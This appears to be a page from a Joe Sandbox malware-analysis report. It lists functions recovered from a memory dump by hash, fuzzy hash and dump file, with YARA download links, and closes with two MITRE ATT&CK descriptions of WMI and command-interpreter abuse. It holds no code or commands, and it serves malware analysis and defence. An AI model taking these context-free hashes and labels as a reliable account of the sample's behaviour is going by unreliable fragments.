API String ID:
Opcode ID: 83d6aed52d5a3f24412b08f55dccc28a4a5c538079b26153a404189bb5dfbb50
Instruction ID: ea45cabb18c7fc5d91b743f79f72da45a12936b00fa3139bebf4fcc76100011e
Opcode Fuzzy Hash: 83d6aed52d5a3f24412b08f55dccc28a4a5c538079b26153a404189bb5dfbb50
Instruction Fuzzy Hash: 1D3168F3F1062147F3584878DD983A669829B95324F2F42788F2D7B7C5E8BE5E0912C8

Function 06639C45 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcd175061000d9cdfe180c352d099e9db9ce4ab6da8fea0b747784d46312e8af
Instruction ID: b27ae850c6d645f8cd43a4e5cfe06a330095bb12551e9dab1b9dab619fc76598
Opcode Fuzzy Hash: fcd175061000d9cdfe180c352d099e9db9ce4ab6da8fea0b747784d46312e8af
Instruction Fuzzy Hash: 8F3128B3F6162207F3684878CD593622583DB95320F2F82789F59EB7C9DCBD8D0A5284

Function 0663C7E5 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f5dfba2d221d61c97131c220e1278722a046437b71294fd4d9c42634ec45f72
Instruction ID: 6bbf9130b6e1c323a4db4cc3b024e000bc302cbaeae6d3688bc4478f5190b1c2
Opcode Fuzzy Hash: 1f5dfba2d221d61c97131c220e1278722a046437b71294fd4d9c42634ec45f72
Instruction Fuzzy Hash: FA313DF7F51A2107F3548839DC6836265839BA5325F3F82388F6D6BAC5DC7E5D061284

Function 0662AFA2 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0c262478b52edb2e0fa61343e3cc60ea0b7a12037eefe05b16c2863341a2625
Instruction ID: 91948186c8833c76a6d391b636cdba90c2b368907a5966b1d46bd6e9cc131916
Opcode Fuzzy Hash: c0c262478b52edb2e0fa61343e3cc60ea0b7a12037eefe05b16c2863341a2625
Instruction Fuzzy Hash: CA3188B3F1052047F3584929CDA43A6A242DBD4314F2F82798F0C3BBC8D97E6C0A52C4

Function 06655DAD Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2c1d37bd87206104ef660e9ee41ea3c61ef1d2c63a03ba60fdee66db0e80908
Instruction ID: 228c4aa9ea9ccc9b3bf1df27e9231db22ca3baf92f86c201bec69d323828b3ff
Opcode Fuzzy Hash: c2c1d37bd87206104ef660e9ee41ea3c61ef1d2c63a03ba60fdee66db0e80908
Instruction Fuzzy Hash: BE315CB3F5063547F3684878CC683A265839795324F2F82788F5CABBC6E87E5C4952C4

Function 0663D9AB Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86773c90e0c8f8ae54913d03ee0b1bfdfdfcb38f96da3dcbcae580f8c3eae2a0
Instruction ID: 1da09b95c05519926944868f1b9ab690d4750906ecde325b360a31fd3883a854
Opcode Fuzzy Hash: 86773c90e0c8f8ae54913d03ee0b1bfdfdfcb38f96da3dcbcae580f8c3eae2a0
Instruction Fuzzy Hash: FC313EB7F60A210BF3944878CD993926582D7D4729F2F81388F98677C6DCBE9C4902C4

Function 06621E66 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7bf1ba9e69862de1577974ad52e914fbc155e5f1261f017e0f8156a8ba98aea
Instruction ID: 4b0a87ec6c868ce98308562c107496def936d6064fe11f8ad1b004df4d6ddb0d
Opcode Fuzzy Hash: d7bf1ba9e69862de1577974ad52e914fbc155e5f1261f017e0f8156a8ba98aea
Instruction Fuzzy Hash: E63157B3F506254BF7948839CE593A2294397D4324F2B82358F4D6BBCADC7E9D0A12C4

Function 066246F0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fde9432fdb3da36d4b19ea07c6f27d057534c9e746fcf44ad60946fa791f257
Instruction ID: 79ea37fc4e5acadd8d1ffef26192d0782c6495c7ee7ab5eafc9117538f14efff
Opcode Fuzzy Hash: 2fde9432fdb3da36d4b19ea07c6f27d057534c9e746fcf44ad60946fa791f257
Instruction Fuzzy Hash: 81317CB3F51A260BF3544879DC943A661839BD1321F2F82388E18ABBCADCBD4C065284

Function 0664A29F Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 843f86b3258e43f7024c345c2cda144ae7db598bff8276240ccad5942f8b684b
Instruction ID: ae0e0168108f164eb24d9ba70b165435e9cbd87abfb34e0d5cdb27659490c41c
Opcode Fuzzy Hash: 843f86b3258e43f7024c345c2cda144ae7db598bff8276240ccad5942f8b684b
Instruction Fuzzy Hash: 9A312AA7F013210BF3944878DE9C36669839BD5324F2B83798E5C6BBC9DCBD4D0A4280

Function 06642001 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 221c28e241a32f366ce7877c622d338f57e7849b3db21b6100f24b1daa3e0b74
Instruction ID: d7ac4f08803170d7fd1b5bde4eb378a61beb515461161fdbb2e1d23a60b2db8a
Opcode Fuzzy Hash: 221c28e241a32f366ce7877c622d338f57e7849b3db21b6100f24b1daa3e0b74
Instruction Fuzzy Hash: C33143F3F5162107F3940838DD593A6548397E5324F2F82798A2CABBC9DC7E8D4A4384

Function 0665C2F3 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b06b207006ca4a67812fce5a6c4bef5fbdd4beb466a8b44909e323116da55248
Instruction ID: 508adc9acc106507fbbb71dbfd405b93e391c5b9e3f9e673cba2e573535a77ab
Opcode Fuzzy Hash: b06b207006ca4a67812fce5a6c4bef5fbdd4beb466a8b44909e323116da55248
Instruction Fuzzy Hash: D6314AB3F6163547F3580838CD683A2694287E1324F2F43388E6CABBC5D87E9C0A5284

Function 0665E417 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31bc8ebdb5fc88268a919fc656bdf211bfbbe40056b81a524018e7ce6551343b
Instruction ID: 3dd1b7a153092ef14aafa3eb69f8e151d84d59dd420d0fa8a382752e7a97fcac
Opcode Fuzzy Hash: 31bc8ebdb5fc88268a919fc656bdf211bfbbe40056b81a524018e7ce6551343b
Instruction Fuzzy Hash: 83218EB7F5262147F3844879DC4835265839BE0715F2FC2398E589BBCADCBD580A4384

Function 06673AF5 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539b13ca518b225a6a8d65a65d92636fd10256db2e580267af6bde3fe6eed6c7
Instruction ID: 2491950097d18839620e17d3305211851f254fb0b64dddcd8bc0880e9f4f5b75
Opcode Fuzzy Hash: 539b13ca518b225a6a8d65a65d92636fd10256db2e580267af6bde3fe6eed6c7
Instruction Fuzzy Hash: 572147F7F516244BF3904839DD883926983A7E4324F2F82758E5C6BBC6EC7D8D0A5284

Function 06671658 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5449fad51c2240954c0d53588c950c15c965bdbc9e99a6220d10b09a9c336c3
Instruction ID: 2464cc3c267db073ca308091a8b3c8995eb30374a8815bdb6b070a0270d539bc
Opcode Fuzzy Hash: f5449fad51c2240954c0d53588c950c15c965bdbc9e99a6220d10b09a9c336c3
Instruction Fuzzy Hash: 14214AF3F616210BF38848B8CD993526582D7A4315F2F81388F48A73C9D9BE8C4642C4

Function 06627CE9 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a67e82855526e931f46c5336159e2cf1f7671e49f747e26cdb014001c2cac768
Instruction ID: c3ef1b1bdcbb613dd4589afeb9667f6fdcd40ab1629ad5f5899e62b07a02a8fb
Opcode Fuzzy Hash: a67e82855526e931f46c5336159e2cf1f7671e49f747e26cdb014001c2cac768
Instruction Fuzzy Hash: 9521CD73F9152547F35808B8DD693A265828B91320F2F837C8E2DAB7C5DCBE8C4A4380

Function 06647F14 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4879eb956d08b063904d3cad528a582c299305731c244c29a691578b0c313706
Instruction ID: 3ad4ad3b8fed1e1a108837fb0f52f4cec50eaed14813549ecae04e6ac61b27dc
Opcode Fuzzy Hash: 4879eb956d08b063904d3cad528a582c299305731c244c29a691578b0c313706
Instruction Fuzzy Hash: CF2147B3F5063507F358486ACD68363A14397D4720F2B82798A1CAB7C9D8BE9C0A13C4

Function 066435D8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d052c2bc337cb52e1265547dccdd51cbec758ea2ba1490256823f7991ce72f01
Instruction ID: 9b82cb73065167859e6869ba0632d860efe11fa8d9b17251890593a504d8b37c
Opcode Fuzzy Hash: d052c2bc337cb52e1265547dccdd51cbec758ea2ba1490256823f7991ce72f01
Instruction Fuzzy Hash: 85212CF3F2192047F7548839DD44356A18397D5325F2F82748B2C6B7C9EC7E9C465284

Function 066371BE Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12eb4bc881a6486b5400de9f2b62aa16ee9fa623e3f46468794781b7d12725e4
Instruction ID: 04ca8416dea80ea46e2be973122b8045dfaece664036f2fff81b2c655dac738b
Opcode Fuzzy Hash: 12eb4bc881a6486b5400de9f2b62aa16ee9fa623e3f46468794781b7d12725e4
Instruction Fuzzy Hash: C5215EB3F115124BF7548835CC583A26583DBE5311F2F81398B095BBCAD9BE594A1340

Function 0665CB29 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac8d6b1ff4834710e56076a0e11f8ef323025a87aecffce7d558ff0823807dc1
Instruction ID: f597952a66bb2d424db3866b5b1b172f2eb8e58a48f8d31f2f24c9a6534ea617
Opcode Fuzzy Hash: ac8d6b1ff4834710e56076a0e11f8ef323025a87aecffce7d558ff0823807dc1
Instruction Fuzzy Hash: 89113CA7F1153007F3904928DC543536682E795319F1B8178CE88BB7C5D9BE5D4A43C4

Function 06610637 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1951230326.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000004.00000002.1951110937.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951153427.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951195312.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.000000000689C000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1951230326.00000000068AE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b998fbd0865fbf11ca3e38d250b53cce6656e3d8981d5441b3eb69d211ba8a
Instruction ID: ddda768030c68a1acccd3e3b456637416b8b0257408fee0a18fdf07bcd506172
Opcode Fuzzy Hash: c5b998fbd0865fbf11ca3e38d250b53cce6656e3d8981d5441b3eb69d211ba8a
Instruction Fuzzy Hash: 4511D37450824E8FDB618F29C8483DE7BB5FF91300F1C4119D4428AA92CB794CD5CB9A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

